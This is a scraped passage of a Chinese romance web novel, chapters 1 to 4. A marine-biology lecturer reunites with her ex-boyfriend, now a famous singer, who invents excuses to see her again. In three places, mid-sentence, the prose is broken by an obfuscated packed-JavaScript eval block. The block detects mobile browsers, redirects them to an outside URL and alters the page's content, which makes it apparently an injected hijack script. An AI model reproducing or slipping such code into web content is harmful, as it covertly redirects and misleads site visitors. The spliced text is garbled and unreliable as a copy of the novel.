《不唱情歌》 1. 第一章 夏末的暴雨来得猝不及防,明明半小时前还是晴空万里,顷刻间就换了天色。 饭点的生活区向来拥挤,碰上这场突如其来的大雨,人流量更是指数型暴涨。忘记带伞的人在屋檐下挤作一团,神色各异。抱怨声、八卦声、笑声和雨声混作一团,像这场雨一样毫无规则地碎在空气里。 乔之站在超市门口,看着眼前密如瀑布般的雨帘叹气。 谁能想到她今天恰好连把遮阳伞都没带出来呢? 刚才吃完饭她特意穿过连廊走到这边的超市买伞,没想到因为一连几日的雷阵雨,这家小超市的雨伞库存已经清空。 过会儿她还有个工作要在办公室详谈,眼下却实在是迈不出脚。 在迟到和淋成落汤鸡之间几番犹豫后,她打开微信给对面发消息:【方先生,不好意思。我被暴雨困住了,可能会迟到片刻,请您见谅。】 对方是娱乐公司的人,听说最近在为旗下一位艺人筹备一部海洋主题的微电影,特意找了江临大学海洋科学系寻求学术指导。 听说这位要拍摄微电影的艺人是当下炙手可热的明星,颇具影响力。而海洋科学系向来冷门,系主任觉得这说不定能成为他们系的招生广告,料想学术指导花不了多少时间,何况对方也提供了较为优渥的报酬,所以便答应了下来。 但系里的老师们大多科研任务繁重,于是系主任转头把这个工作交代给了初来乍到的乔之,美名其曰“年轻人更懂影视制作”。 乔之几番推脱不过,只好应下了这个工作。 前些日子,乔之和这位方先生已经在线上沟通了几轮,但似乎还有一些地方说不明白,于是对方提出了当面请教问题的请求。 今天是周五,学校周边的交通情况通常不太好。乔之在心里默默祈祷对方在来的路上也能堵一会儿,这样起码不用等自己太久。 很快,对方回了微信:【暴雨天,理解。我们快到江大了,一会儿在海洋楼等您。】 ……好的,祈祷失败。 乔之回想了一下刚刚出来的时候没有锁门,于是又发过去一条消息:【我的办公室是317,门没锁,您到了的话可以先进去坐坐。】 地面被雨浇湿,湿得彻底,上面躺着许多个大大小小的水坑。 乔之平时不曾注意过路面上的这些坑坑洼洼,这会儿她盯着小水洼中被雨水打起的涟漪,心里不免有点烦躁。 她决定等雨稍小一点就跑回办公室。 说来这位方先生有些奇怪,系主任跟乔之介绍他时用了“大明星”“热门歌手”之类的字眼,但她私下在网上搜过对方提供的名字,却没有找到一位符合条件的歌手。 大概只有出道时用了艺名这个理由能解释得通。 一阵雷声在天边炸开,边上有个小女生吓得躲进男友的怀里,男生捂着她的耳朵轻声安抚。 雨更大了。 乔之抬手看了眼手表,离约定的时间只剩五分钟。 她再次扶额叹气,咬牙准备冲进雨里。 旁边突然有人拍拍她的肩:“乔老师,没带伞吗?” 原来是同学院的老师祝声。 乔之苦笑了一声,摇摇头:“是啊,正准备冒雨回海洋楼呢。” 对方旋即打开了自己的雨伞,对她笑道:“我也准备回海洋楼,一起吧!我的伞够大。” 说完还摇了摇伞柄。 感谢祝声的大伞拯救了她。 不过尽管伞已经大得能完全盖住两个人,她们俩还是避不了被狂风卷进来的雨滴。 衣摆依旧湿了——但比起她预想的画面已经好太多。 乔之三两步就迈上海洋楼前的台阶,转头对祝声道谢:“谢谢祝老师!我有个工作会面要开始了,先走一步。改天请你吃饭!” 刚才在路上两人简单聊了几句,祝声知道她赶着开会。 她一边在门外抖了抖伞上挂着的水珠,一边摆摆手说道:“小事。你快去吧!” 乔之点头致意,急忙往走廊另一头的楼梯间跑。 她的办公室在三楼,比起坐电梯,爬楼梯更快。 等乔之气喘吁吁地跑上楼,远远地就看见办公室门已经开了。 看来对方已经到了。 现在是一点零七,她迟到了七分钟。 乔之稍稍捋了捋面颊两侧的头发,整理了仪容,缓步往办公室走去。 一个身着黑色衬衫的男人正背对着门靠在她的办公桌旁,微曲着腿,但还能看出身形颀长。 乔之抬手敲了敲办公室的门,示意自己已经到了。 “不好意思,我迟到了……” 可还没来得及解释,她微张的嘴就凝滞住了。 因为转过身的那个人,不是什么方先生。他顶着一张她再熟悉不过的脸。 ——何舟泽。 乔之心想,她现在一定狼狈极了。 刚刚被暴雨微微打湿的头发和衣物此刻都变成了让她无地自容的催化剂。 她该说些什么呢? “好久不见”,还是权当陌生人? 她想起与何舟泽初见的那天,也是这样的大暴雨。只不过那时被雨困住的人是他。 那是大一开学的第一天。 下午上完微积分后,天突然乌云密布,没多久便下起了大雨。 乔之那时刚好留在教室里浏览老师适才提到的几组核心概念,见窗外的大雨滂沱,索性就坐下来整理起课堂笔记。 阶梯教室里各个方位的感应灯渐渐暗下来,只留下她周边一圈还亮着。 灯光为她圈起了一个小小的王国。 直到一连串“哒哒哒”的声音突然响起,感应灯从门口处开启了一条通向她身边的光路。 乔之再抬起头,便看见一个男生站在了座位旁。 他额前的碎发都湿透了,稍显狼狈。 “同学你好,我记得我们军训的时候在同一个连部。”男生露出明晃晃的笑容,身上有大雨侵染不了的少年气,“抱歉有些唐突,我看到你有带伞,请问你是否方便捎我一程到小剧场?” 乔之记得他。这个男生在军训第一天当众表演了节目,从此每一天都被教官点名唱歌,最后甚至还成了他们连合唱比赛的领唱。 他叫何舟泽,是个音乐爱好者。 对方见她不说话,又着急解释:“实在是不好意思,过会儿我有个社团面试,对我来说非常重要。淋湿了过去可能有损印象。” 他双手合十,眼神诚恳。 “如果你还打算在这儿自习的话,我也可以面试完再回来把伞还你。” 乔之合上笔盖,回以微笑:“没事,我准备去食堂吃饭了,去小剧场顺路的。” 那是他们的第一次对话,转眼间竟然已经十年。 十八岁的何舟泽有暴雨浇不透的热情活力,二十八岁的乔之却为暴雨中的重逢倍感窘迫。 何舟泽看着她,也没主动开口说话。 气氛一时之间冷了下来,一秒钟仿佛走了上万年。 乔之顿了顿,收拾好情绪,自认为大方得体地微笑走上前:“您好,我是江临大学海洋科学系的研究员 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445141|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔之。请问您是代替方先生过来的吗?” 说完伸出了手,语气远比她想象得要平静克制。 没想到对方根本没打算回握,只是站直了身子,轻笑了声:“乔老师好,不必如此生疏。” 他顿了顿,看了她一眼又说:“我还不至于把你忘了。” 乔之尴尬一笑,收回了手。 “谢谢何先生还记得我。您可以在这边先坐一会儿,我去倒点茶。” 何舟泽倒是没再说什么,拉了把办公椅便坐下了。 等乔之在他面前放下一杯茶,他又投来了意味不明的目光。 乔之硬着头皮在他面前坐下,不断期盼这次会面能快点结束。 “方鸣是我的经纪人。” “嗯?”乔之对这没头没尾的一句话感到奇怪,随即才想起来他是在回答自己之前的那个问题,“哦哦好的,那之前我和方先生在微信上沟通的细节,他有同步给您吗?” 何舟泽喝了口茶,缓缓放下茶杯后才开口:“这部分内容一直是我本人在跟进。还有,乔老师不必用‘您’。没记错的话,我们……至少以前还挺熟。” 目前为止与何舟泽的交流句句僵硬,乔之再次哽住了。 她不是没想过两人重逢的画面,她一直以为更体面的那个人会是她,没想到当下却是自己稳不住阵脚。 她抿了抿唇,半晌说不出一句话。 何舟泽大概是看出了她的尴尬神色,倒是没再为难,很快就把话题引到了微电影的内容方面。 聊起工作,气氛总算是自然了许多。 何舟泽准备拍摄的这个微电影原来是要用作他新歌的剧情MV,故事融合了海洋和科幻题材,其中涉及一些海洋生物的设计。 乔之去年刚在加州大学圣地亚哥分校拿到海洋生物学博士学位,这的确是她的专业领域。忽略两人的过往,她还是给出了很多有帮助的建议。 何舟泽的行程繁忙,下午的会面只约了一个小时。 离结束还有十分钟的时候,他放在桌上的手机就开始不断闪现消息弹窗。显然是有人在催他。好在大部分都已经解释完毕,剩余的内容只要乔之一并整理到文档里发过去即可。 “我这边能给的专业建议就是这些。”乔之在心里长舒一口气,心想这次见面之后最好不要再有联系了。 她起身微笑着打算送何舟泽离开,没想到他直盯着桌角笑。 何舟泽眉角微挑,说道:“我没想到乔老师是这么念旧的人。” 乔之顺着他的目光望去,才发现他看的是桌旁的相框——里面是一张她的单人照。 没什么特别的。 只不过……这张照片的摄影师是何舟泽。 那是某一年冬天,他们一起去滑雪时拍下的。 照片上的她露出了少见的轻松笑脸,抓拍的角度极好。 乔之很少有这样开怀的时刻,所以这张照片她珍藏了许多年,直到现在仍留在身边。 乔之对何舟泽笑笑,也不知该说什么,只是恭维道:“摄影师拍照技术好,换谁都舍不得丢。” 何舟泽看着她,又扫了眼茶杯:“喝茶的品味也一样呢。” 春明茶——何舟泽最喜欢的茶,也是他家乡最出名的特产。 经年累月,他身上也沾染上了一层薄薄的茶香。在过去无数次的拥抱里,她都能闻到这一股温柔纯粹的淡香。 乔之从来没好好盘点过,她还保留着多少与何舟泽有关的回忆。 没想到只是一次短暂的会面,就被他揪出了这样多。 2. 第二章 何舟泽走后没多久,雨渐渐停息了。 阳光迅速拨开云雾,穿过窗户照进了办公室,在地板上画下了方正的四个窗框。 乍然亮起的环境让乔之感到有些晃眼睛,她起身准备拉上遮阳帘。 等走到窗户前,乔之才发觉自己刚刚一直紧攥着拳,而掌心早已密密麻麻沁满了汗水,像极了她思绪凌乱的脑子。 明明已经过去了那么久,再次面对何舟泽时,她竟然还是会感到紧张。 这种感觉说不清道不明,大概是尴尬外还带了一点微妙的愧疚。 乔之合上窗帘前瞥见了楼下的停车位,正下方有个车位像是刚送走什么人,被白色框起的长方形突兀地空着。 她的脑海里又响起了何舟泽那戏谑的声音:“我没想到乔老师是这么念旧的人。” 念旧吗? 物件、习惯、喜好确实十年如一日地保持着。 然而有些东西,却又是说舍弃就再也没回过头。 - 乔之这学期开了一门高年级本科生的专业选修课,涉及的内容比基础课要更深入,因此她特意在每周五下午安排了一小时的课程答疑。 三三两两有学生来请教问题,不过大多是为了来和新老师打好关系。乔之一一回应着,渐渐把刚刚见过何舟泽的事情抛在了脑后。 快到结束的时候,有位女生敲响了办公室的门。 乔之说了声“请进”,看清来人是班上的学生。 这个女生每次上课都坐第一排,经常举手提问,思路非常灵活,长得也很漂亮。 乔之对她有些印象。 女生抱着电脑走了进来,打开课件问了几个课上没有细说的知识点。 乔之耐心地解答着:“这几个点简单了解就可以,之后的作业和考试会以我每周发的要点小结为主。不过你要是对这些问题感兴趣,我回头再给你发几篇相关文章。” 说完,她想了想又补了一句:“你可以先在钉钉上给我发个消息,一会儿我怕找不到你。” “好的好的,谢谢乔老师,我现在就私戳一下您。”女生大概是怕回去后忘了,于是一边道谢,一边顺手就关掉了课件。 她的电脑屏幕随即弹到了浏览器的页面,没来得及关掉的视频写着大大的标题:“盘点何舟泽十大封神现场,开口即跪,惊艳全场”。 视频里的何舟泽站在光影交界处,手握着麦克风,紧闭双眸,表情深情又投入。 女生眼疾手快地切换了页面,不好意思地说:“啊……我来之前在听歌,忘记关了。” 但“何舟泽”这三个字还是被乔之精准地捕捉到了,她神差鬼使地问了句:“他……现在很火吗?” “啊?”女生的语气里带着疑惑,“您说何舟泽吗?” 乔之点点头。 “老师您平时不听华语歌吗?” 这回轮到乔之愣了片刻,她解释道:“嗯……我很多年没回国了,确实没怎么关注新生代的歌手。” 女生见她好奇,竟然直接把电脑页面切回了刚刚的视频网站,指着标题说:“何舟泽这几年在国内很火,算是……呃,新生代top级唱作人吧。老师您要是感兴趣,可以通过这个视频了解一下。这个合集做得挺好的。” “哦,这样啊。那改天我也去听听看。”乔之的语气随意平常,没有流露出丝毫的不自然。 不过乔之对女生说的话倒是并不惊讶,毕竟何舟泽在学生时代就已经充分崭露了自己在音乐上的天赋。 何舟泽的音乐生涯是从大学时期组建乐队开始的。 乔之与他初识那天,他就是为了参加音乐社的面试而赶来借伞。 他当年在音乐社认识了几位对他来说非常重要的朋友,几人在音乐上很合拍,因此在乔之大二那年共同组建了一个乐队,从此成为校园各大演出的常客。 何舟泽是乐队的主唱,演唱创作均无短板,在校期间就有两首歌在网上小火。 这也是他后来成为专业歌手的契机。 女生见乔之没有老师的架子,竟小小地八卦起来:“乔老师,听说你是22年从江大毕业的?” 乔之一时没明白她的用意,只点点头:“嗯是的。” 对方的眼睛当即亮了起来,说道:“何舟泽也是同一年从江大毕业的,你们居然是同级!老师你在校期间听说过他吗?” 乔之心里苦笑,她何止是听说过。但表面上她还是保持镇定,含糊道:“他在校期间经常参加演出,很多人都知道他。” “这样!那你有听到过他的什么八卦传闻吗?他现在简直是八卦绝缘到不像个真人。”女生又忍不住问了句。 乔之勉力克制住狂跳的眼皮,假意露出为难的神情:“这个……我也不是很了解。” “听说何舟泽大学时有个女朋友,也不知道是何方神圣……”女生小声喃喃道。 闻言,乔之只能报以不露破绽的微笑。 她记得何舟泽第一次大展风采是在学校的跨年晚会上。 江临大学多年来秉持着办跨年晚会的传统,这是他们在一年中最大的舞台,除了本校的学生会参与外,还开放了一部分名额给社会大众。 那一年,乐队的演出完全点燃了现场的气氛,演唱的歌曲惊艳全场。 何舟泽作为主唱,除了唱歌令人印象深刻外,优越的外表也引起了很多人的关注。那段时间他几乎成为了整个江临市大学圈的话题人物。 彼时乔之已经和他在一起快一年。 尽管何舟泽从不介意将自己的恋情宣告天下,但乔之的性格向来不张扬,因此即使何舟泽本人是活跃在舞台上的校园明星,他身旁的乔之也并不惹人注意。 上课,泡实验室,尝试解决每一个研究中遇到的小问题,偶尔去看何舟泽的演出——她有自己的生活状态。 他们俩生活中仅有的交集,大概就是乐队的那几位朋友以及同为理工科必修的一些基础课程,比如微积分、线性代数或是大学物理。 只不过乐队的朋友源自何舟泽的牵线搭桥,必修的学分最终也有完成的一天。 正因如此,她当时的离开才能切割掉全部联结,那样的彻底。 乔之回过神时,身旁的女生早已站起身。 她合上电脑对乔之说:“乔老师不好意思,刚刚忍不住八卦了一下。谢谢老师今天的解答,我在钉钉上发了条私信给您,方便的话请您有空给我分享一些相关论文。我对这方面很感兴趣!” 乔之友善地笑了笑:“没问题,周末愉快!” 女生用力地点头:“嗯!” 女生快走出办公室时,乔之突然想起些什么,又叫住了她:“哦对了,你叫什么名字?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445142|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我叫程青筠。”女生转过身来,笑眼弯弯,然后挥了挥手,“乔老师下周见!” - 何舟泽下午还有一个拍摄工作,地点离江大并不远,开车大概只要半个小时。 但校园里人来人往,雨幕里电动车和自行车在道路两边飞梭着,因此车子只能保持着很缓慢的速度向校门口挪动。 方鸣小心开着车,透过后视镜悄悄打量何舟泽的神色。 明明他的眼底透着点欣喜的意思,但眉头又是紧锁着的——非常复杂的表情。 于是他开口打听:“和这位乔老师交流顺利吗?之前你说的那些细节问题解决了没?” 何舟泽将目光移向窗外,简单地评价了一句:“她很专业。” “那就好。那我可以把下一步工作提上日程了。”方鸣松了口气。 他不知道何舟泽为什么对这次的MV如此上心。 工作严谨是好事,但他把细节抠得太夸张了。特意请一位学术指导就算了,还隔三差五就要发消息请教专业问题,不知道的还以为他们在筹划什么正儿八经的科幻大片。这个考究程度甚至能配得上科学纪录片。 “要我说,其实根本没必要特意跑这一趟。”方鸣忍不住吐槽了一句。 何舟泽正盯着窗外缓缓划过的熟悉校园景色,没出声。 方鸣继续念叨着:“那些问题完全可以让小王整理好发给乔老师,省得人家今天还冒大雨来见你。” 说到这,何舟泽才回过神来:“你说什么?” “我说,今天乔老师不是迟到了几分钟吗?她那是被雨困在什么地方了。”方鸣打了个转向灯,转着方向盘往右拐,出口随即出现在视野里。 他顺口抱怨了一句:“那会儿雨多大呀。这么来一趟,不光我们要挤行程,人家也跟着受罪。” 何舟泽这才想起刚才见到她时,她微喘的声音和湿润的衣角。 他还以为她是因为其他工作没及时结束才迟到的。 “你约时间的时候怎么不看天气预报?” 方鸣听到这话,忍不住翻了个白眼:“你没事吧大哥?这一个小时还是我千辛万苦才空出来的,你怎么不问问自己为什么这么火,行程多到推不掉?” 他们俩的关系比一般的艺人和经纪人要亲近得多,所以相处模式也更随意。方鸣是个急性子,但为人不错,做事也很专业。 何舟泽不再吭声,打开手机看了眼天气。 屏幕上显示着“阵雨预计在半小时后停止”,紧接着的是数十个小时的晴朗天气。 他舒了口气。 驶出校园后,车速便快了起来。窗外的雨滴化作了灰色的幕布,雾气遮盖住了藏在内心深处的往事。 天气预报很准——抵达拍摄场地时,雨停了。 正好半小时。 何舟泽微眯着眼看了看天空,太阳顷刻间驱散了乌云。 他转头对身边的方鸣说:“我好像落了顶帽子在乔老师的办公室。” 方鸣正在确认待会儿的拍摄流程,摆摆手说道:“等下我让小王过去取。” “那顶帽子很重要,我不放心别人取。” 方鸣再次用“你没事吧”的眼神看着他:“你总不会告诉我你要亲自去拿吧?” 何舟泽嘴角微扬,说道:“你觉得,拜托她送过来怎么样?” 3. 第三章 乔之下班前整理了今天与何舟泽讨论的科学细节。 她刚把文档发给方鸣,对面就打来了语音电话。 “我是何舟泽。” 电话那头的声音既熟悉又陌生,每个音节都重重地敲打着她的耳膜。 “我已经把资料发过去了。请您那边确认一下,有问题后续……” “我有东西落在你的办公室了。” 何舟泽打断了她,全然没有要谈工作的意思。 乔之一愣:“……什么?” “今天谈话前我戴了顶帽子,中途摘下来了,这会儿身边找不着。我想可能落在你那边了,麻烦乔老师帮我找一找。” 乔之回想了片刻,却不记得见到何舟泽时有注意到什么帽子。 她问道:“什么样的帽子?你还记得放在哪儿了吗?” 对方沉吟了片刻,不紧不慢地开口:“黑色的渔夫帽。当时随手一摘,啊……不太记得放在哪儿了呢。” 乔之起身在办公室里环视了一周,一时半会儿没见着。 “不好意思,我可能需要挂掉电话仔细找一下。有发现的话,我再给方先生发条确认消息?” 说完便准备放下手机。 那头的语速突然急促起来:“等下!” 沉默的几秒过后,乔之听到何舟泽犹豫地开口:“嗯……柜子上有没有呢?我记得进门是有个柜子的对吧,可能当时我随手就放在那里了……” 办公室进门的位置摆着一个矮柜,上面高高低低地堆满了练习纸和资料。 乔之走过去,翻找了几下,才看见一顶灰黑色的渔夫帽静静地躺在两叠书册之间的下凹处。正好是视野的盲区。 随手就能把帽子丢在这儿,确实是够随意的。 “找到了。”乔之拿起帽子,仔细检查了一下。 帽子看起来很干净,有近期使用过的痕迹。想必就是何舟泽的那一顶。 她问:“我要怎么还给你呢?如果急用的话,可以给我一个方便的地址,我今晚就找同城快递寄过去。” 何舟泽轻咳了一声:“这顶帽子非常贵重,快递……我不放心。” “那……?”乔之迟疑了片刻,等对面给个解决方案。 “可以麻烦你这两天亲自送一趟吗?地址在江滨区,离江大不算很远。”说完又刻意地补充了一句,“非常感谢乔老师,嗯……我们可以提供一些报酬。” 乔之明天下午刚好在江滨区开会,顺路送一趟也不是不行。 于是她应了下来:“报酬就不用了。你那边明天傍晚可以吗?” “当然可以!”何舟泽几乎没有停顿就答复了。 在他身边的方鸣快听不下去了。 什么贵重的帽子,他明明记得今天何舟泽戴的帽子不过就是品牌方送的当季新品。虽然价格确实不便宜,但也不至于不能经他人之手。 “……” 他心里默默吐槽,人家抽空来做学术指导,还要被你差遣是吧? 要是乔之生气耍个心眼,明天营销号就会把何舟泽挂上热搜。 眼见着何舟泽还没有挂断电话的意思,方鸣赶紧夺回手机,连声道歉:“乔老师,实在是抱歉,麻烦您了。具体的地址我一会儿发给您。” 挂断电话后,方鸣顺手打开了乔之方才发过来的资料。 一条一目,深入浅出,每一个问题都解释得通俗易懂。 他忍不住感慨了一句:“乔老师真是厉害啊!果然是专家。” 何舟泽跟着瞄了几眼,没看清具体的文字内容,但能瞧见清晰工整的排版。 “当然了,她是个天生的科学家。”他喃喃道。 从前甚至连一个简单的实验报告都要写得像一份规范完整的学术报告。 方鸣将文稿转发给了助理小王,突然想起了什么似的,说道:“对了,我记得你们俩是同一届的吧。” 何舟泽没出声,方鸣又自顾自说了一句:“不过你学的是生物医药工程,估计也没什么交集。” “……” 是啊,如果没有人为之努力,他们之间确实没什么交集。 - 何舟泽给的地址是江滨区的一个高级住宅区,看起来像是他的私人住址。 乔之以为他会给个工作室或是公司之类的地址。毕竟像他这样的大明星,理应很注重个人隐私。 这个小区的景观做得很好,映入眼帘是大片大片的绿化带。 在这样寸土寸金的地方,连根草都身价不菲。 何舟泽的住宅靠里,安全性和隐秘性比同小区其他房子更胜一筹。 乔之刚按响门铃,房门就从里面打开了。 中间的间隔甚至不超过一秒。 “你来了啊?”身着黑色家居服的男人靠在门边,语气好似漫不经心。 他指了指鞋柜,说:“这儿有新的拖鞋,乔老师自便。” 乔之只是来还个帽子,根本没打算进门。 “不用麻烦了,我送完帽子就走。” 她将一个牛皮纸袋递过去。 不想对方压根没打开看一眼,直接将袋子随手扔在了玄关处的矮柜上。 ……倒是也看不出有昨天说得那么贵重。 何舟泽不经意地看了乔之一眼,只见她背着一只大号托特包,似乎装了不少东西。 “我看你的包也挺重,要不还是进来坐坐吧。特意让你跑一趟,我也很不好意思。” 语气里没听出什么歉意。 乔之还想推脱,只听何舟泽微挑了挑眉,故作烦恼道:“再者呢,我这大门也不方便一直开着。毕竟我的身份有些特殊,有时免不了一些不必要的关注。” 言下之意是如果再和他在此拉扯,保不准两人会一起上明天的头条新闻。 “……” 虽然不放她走的人明明是他,但乔之多年前就见识过何舟泽胡搅蛮缠的功力,于是只好叹了口气:“好吧,那麻烦了。” 反正只是稍微坐一会儿。 正好……她的肩膀也因为背电脑有些酸了。 不成想刚坐下没多久,外面突然淅淅沥沥地下起了雨。 说变就变的天,捉摸不定。 乔之赶紧翻了翻自己的包,一番寻找后无果。她这才想起上午出门时,她嫌包重,把伞拿出去了。 那会儿她想着如果下雨就直接打车回家,他们小区允许网约车停在单元楼下,左右淋不了多少雨。 但她没想到何舟泽这片完全不是这么回事。 这个小区的进出管理颇为严格,刚刚乔之进来时还花了很久的时间核对身份信息。如果要打车,也得去大门口等着。 可何舟泽的房子离小区门口还有很远一段距离,这么直接走出去,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445143|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 估计能免费洗头了。 何舟泽端着水走过来,见乔之在包里翻找了半天,最后什么也没拿出来,只是一个劲儿地叹气。 他透过客厅的落地玻璃看了看屋外的雨,好似庆幸地说:“刚刚还好请你进来坐坐,不然这会儿要淋雨了。” 乔之抬起头看着他,开口问道:“……待会儿你能借我把伞吗?” 何舟泽把水杯递给她,然后不紧不慢地坐在了一旁的沙发上。他仿佛在思考,半晌才说道:“真是不巧,我不常住这儿,没有备伞。” 乔之抿了抿唇,没说话,心里在暗暗发誓下次出门绝对要带伞。 “这雨估计下不了不久,等等再走吧。”何舟泽盯着她,漆黑眼底露出了点不知名的意味,“我们也好多年没见了,可以随便聊聊。” 乔之才不信何舟泽有这种好心情可以和她叙旧,毕竟当初他们的分开算不上多愉快。 她头皮发麻,讪讪地开口:“是啊,这么多年了。恭喜你实现自己的梦想了——成为出色的歌手,做自己喜欢的音乐。” “那你呢?”何舟泽突然反问道。 乔之顿住了,好久才开口:“……我也挺好的,一直在做想做的研究。” 何舟泽依旧盯着她说:“我记得那时候你说,我们都应该走自己想要走的路,所以……” “所以现在大家都挺好的。”乔之打断了他。 她知道何舟泽要说什么,可她并不想在这里和他回忆往昔。 何舟泽见她移开了目光,便也不再说话。 偌大的客厅安静下来,乔之隐隐能听见自己微弱的呼吸声。空气再次凝固了。 何舟泽端起水杯喝了一口,等再抬眼时又是另一副神情:“我最近在筹备新专辑,需要保护嗓子,所以家里没有备什么饮品。” 他摇了摇玻璃杯,说道:“只有温水,见谅。” 乔之摇摇头表示不介意,然后开始在心里盘算着找借口离开。 比起面对何舟泽,她果然还是宁愿淋雨。 不过她还没来得及开口,何舟泽的手机先响了。 他向乔之打了个手势,起身往边上走了几步。 但也没太远,似乎没想避着她太多。 “怎么了?”何舟泽稍稍压低了声音。 电话那头不知说了些什么,他的声音一下子便提了起来:“什么?严重吗?” 何舟泽开始焦急地踱步,仿佛听到了什么噩耗。 “好,稍等一下,我马上过来。” 乔之听他语气不对劲,顺口问了句:“你有急事吗?要不我就先不打扰了……” 何舟泽一边抓起搭在沙发边沿的外套,一边说道:“老姚,姚朔出车祸了,很严重。你要不要和我一起去一趟医院?” 姚朔,何舟泽大学乐队里的贝斯手。 乔之也认识。 姚朔是江临本地人,他爸爸是高级糕点师,因此他隔三差五地给大家带点心,甚至会特意给乔之也捎上一份。 因为这个缘故,乔之和他的关系比乐队其他人还要更熟一些。 她还没出声,何舟泽已经穿上了外套。 “你和老姚也很多年没见了,这次的情况危急,还是去看一眼吧。”他的眉头紧蹙,眼底的慌张不似作伪。 乔之看着他,纠结片刻,最后还是点点头:“好吧,我和你一起。” 4. 第四章 姚朔入住的医院在另一个城区。这会儿正赶上晚高峰,饶是再着急,也硬生生开了一个多小时才到。 一路无言。 何舟泽走在前面,步子迈得飞快,乔之没有跟得太近。 一来为了避免不必要的麻烦,二来……他们之间的关系也确实让她感到尴尬。 何舟泽在一间病房前站定,他欲言又止地看了乔之一眼,而后才推门。 “何舟泽,你果然是我亲兄弟。这么快就到了——”病床上的人听见动静,半撑起身子开口说话。 然后在他看见乔之的瞬间,声音戛然而止。 乔之几乎瞬间就认出了这是姚朔,除了头发比之前短一些,其余似乎都没什么变化。 以及……除了打着石膏的腿,人看起来也生龙活虎。 对方眨巴了几下眼睛,咋舌道:“你是……乔之?” 乔之这会儿没工夫找何舟泽兴师问罪。 她上前了几步,打了个招呼:“嗯是的。姚朔,好久不见。” 姚朔惊讶到飞扬的眉头一时半会儿没掉下来,他赶忙挪了挪身子在床上坐好,说:“还是叫我老姚吧。我们是不是有六七年没见了?” “六年,从毕业到现在。”何舟泽在一旁搭腔。 “确实,还是老何记得清。自从你去美国读博,我们就再也没见过了。”姚朔一边说着,一边招呼着两人坐下。 刚刚那话落在有心人耳朵里,又是另一番意思了。 乔之和何舟泽都没再说话。 他噼里啪啦地发问:“你什么时候回来的,怎么也不说一声?之后还走吗?” 乔之一一作答:“今年六月,目前在江大当老师,短期可能不会有变动。” “哦,挺好,是你该走的路。”姚朔说着顺手从床头柜上扯下了一根香蕉,撕开皮吃了一口。 “你身体怎么样吗?检查结果出来了吗?”乔之瞧着他左腿上厚厚的石膏,关心了一句。 “被一个龟孙子逆行撞了一下,还好我命大,只摔断了一条腿。”然后他又感觉不对,再看看何舟泽,说,“不对啊,你俩怎么一块儿来的?” 他正了正身子,神秘道:“你们这是……旧情复燃了?” 乔之想赶紧否认,但只听何舟泽先一步开口说:“你不要随意揣度乔老师的心思。” 说完这句,他顿了顿,又补了一句:“人家好心来看你,别乱开玩笑。” “说起来,刚刚有个人诅咒你危在旦夕。”为了缓解尴尬,乔之趁机打了个小报告。 姚朔听到这话,抓起枕头想砸何舟泽:“你就这么诅咒你爸爸我……” 突然间,他好像领悟到了什么东西,赶紧又把枕头放了下来,转头对乔之严肃道:“乔老师,我这场车祸确实很严重,我的小电驴都被撞烂了。刚到医院那会儿脑袋还很疼,就怕是颅内出血。刚刚检查完才知道没事。何舟泽就是太关心我了,心急则乱、心急则乱。” 乔之见两人一唱一和,便也不好再说什么,只是在心里反复告诫自己,别再被何舟泽的花言巧语蒙蔽双眼。 “对了,我们加个微信吧。我常住江临,目前无业游民,随时可以喊出来玩。”姚朔掏出手机,看见碎裂的屏幕,又是一阵心疼,“我这屏幕也摔碎了,又是大八百没了。” 乔之也从包里翻出手机,打开微信二维码道:“你之后在医院如果有需要帮忙的地方,可以叫我来。” 姚朔笑呵呵地说:“那怎么好意思呢!我妈最近正好退休了,肯定要天天来医院散发母爱呢。” 何舟泽在一旁见姚朔顺利地加上了乔之的微信,刚准备开口说点什么,又被一个电话叫走了。 等他离开后,姚朔朝门口的方向努努嘴,说道:“估计又有什么行程,何舟泽现在可太忙了,消失一会儿就有人满世界找他。” 乔之想起当初和方鸣约见面时间,也花了好大功夫才凑出那么一小时。 当然主要还是何舟泽那边自由的时间太少。 “可能这就是追求梦想的代价吧。”乔之垂了垂眼眸,盯着病房的米白色地板。 “可不嘛。前两年更夸张,到处跑行程。在天上飞的时间可能都比在地上多。”姚朔感慨着,“不过他今年自己出来开工作室单干了,等忙完这阵估计能歇一歇。” 不间断地写歌、开演唱会、上音综,何舟泽的生活被拧上了发条,几乎一秒都停不下来。 乔之想起昨天在程青筠电脑上看见的盘点视频,后来她回家完整地看了一遍。 视频中的大多数舞台,都是这三四年时间出的。 与她分开后,何舟泽像是把自我和生活都交给了音乐。 